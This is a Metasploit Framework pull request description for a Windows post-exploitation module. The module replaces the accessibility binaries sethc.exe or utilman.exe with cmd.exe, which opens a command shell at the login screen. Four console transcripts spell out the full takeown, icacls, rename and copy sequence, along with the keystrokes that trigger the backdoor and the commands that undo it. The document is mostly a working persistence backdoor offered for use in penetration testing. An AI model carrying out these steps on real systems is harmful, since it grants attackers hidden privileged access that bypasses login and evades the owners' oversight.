rapid7/metasploit-framework — pull request #3635 by OsandaMalith (2014-08-09 08:05:41+00:00)
Title: Windows sethc and utilman backdoor

This module will replace sethc.exe and utilman.exe to a command prompt.

Example 1: Swapping sethc with cmd

```
msf post(bak) > set session 1
session => 1
msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Starting the Swaparoo backdooring process.....
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\sethc.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\sethc.exe /grant administrators:f
[*] Executing: rename %SYSTEMROOT%\\system32\\sethc.exe sethc.exe.bak
[*] Executing: copy %SYSTEMROOT%\\system32\\cmd.exe %SYSTEMROOT%\\system32\\cmd3.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\cmd3.exe sethc.exe
[*] Swaparoo module has completed!
[+] Press Shift Key 5 times at Login Screen to access shell!
[*] Post module execution completed
```

Example 2: Swapping utilman.exe with cmd

```
msf post(bak) > set utilman true
utilman => true
msf post(bak) > show options

Module options (post/windows/escalate/bak):

Name Current Setting Required Description
---- --------------- -------- -----------
PATH %SYSTEMROOT%\\system32\\ no Path on target to Sethc.exe or Utilman.exe
RESET false no Restore Original Sethc.exe or Utilman.exe
SESSION 2 yes The session to run this module on.
UTILMAN true no Use Utilman.exe instead of Sethc.exe

msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Starting the Swaparoo backdooring process.....
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\Utilman.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\Utilman.exe /grant administrators:f
[*] Executing: rename %SYSTEMROOT%\\system32\\Utilman.exe Utilman.exe.bak
[*] Executing: copy %SYSTEMROOT%\\system32\\cmd.exe %SYSTEMROOT%\\system32\\cmd3.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\cmd3.exe Utilman.exe
[*] Swaparoo module has completed!
[+] Press the Windows key + U or Click on the Blue Help icon at lower left on Login Screen to access shell
[*] Post module execution completed

```

Example 3: Resetting our sethc.exe backdoor
```
msf post(bak) > set reset true
reset => true
msf post(bak) > set utilman false
utilman => false
msf post(bak) > show options

Module options (post/windows/escalate/bak):

Name Current Setting Required Description
---- --------------- -------- -----------
PATH %SYSTEMROOT%\\system32\\ no Path on target to Sethc.exe or Utilman.exe
RESET true no Restore Original Sethc.exe or Utilman.exe
SESSION 2 yes The session to run this module on.
UTILMAN false no Use Utilman.exe instead of Sethc.exe

msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\sethc.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\sethc.exe /grant administrators:f
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\sethc.exe.bak
[*] Executing: icacls %SYSTEMROOT%\\system32\\sethc.exe.bak /grant Administrators:f
[*] Executing: del %SYSTEMROOT%\\system32\\sethc.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\sethc.exe.bak sethc.exe
[*] Swaparoo module has completed!
[+] System should be restored back to normal!
[*] Post module execution completed

```

Example 4: Resetting our utilman.exe backdoor

```
msf post(bak) > set utilman true
utilman => true
msf post(bak) > show options

Module options (post/windows/escalate/bak):

Name Current Setting Required Description
---- --------------- -------- -----------
PATH %SYSTEMROOT%\\system32\\ no Path on target to Sethc.exe or Utilman.exe
RESET true no Restore Original Sethc.exe or Utilman.exe
SESSION 1 yes The session to run this module on.
UTILMAN true no Use Utilman.exe instead of Sethc.exe

msf post(bak) > run

[+] Confirmed, currently running as admin.....
[+] Confirmed, UAC is not an issue!
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\Utilman.exe
[*] Executing: icacls %SYSTEMROOT%\\system32\\Utilman.exe /grant administrators:f
[*] Executing: takeown /f %SYSTEMROOT%\\system32\\utilman.exe.bak
[*] Executing: icacls %SYSTEMROOT%\\system32\\utilman.exe.bak /grant Administrators:f
[*] Executing: del %SYSTEMROOT%\\system32\\Utilman.exe
[*] Executing: rename %SYSTEMROOT%\\system32\\Utilman.exe.bak Utilman.exe
[*] Swaparoo module has completed!
[+] System should be restored back to normal!
[*] Post module execution completed
```

![image](http://i.imgur.com/YjI36c7.png)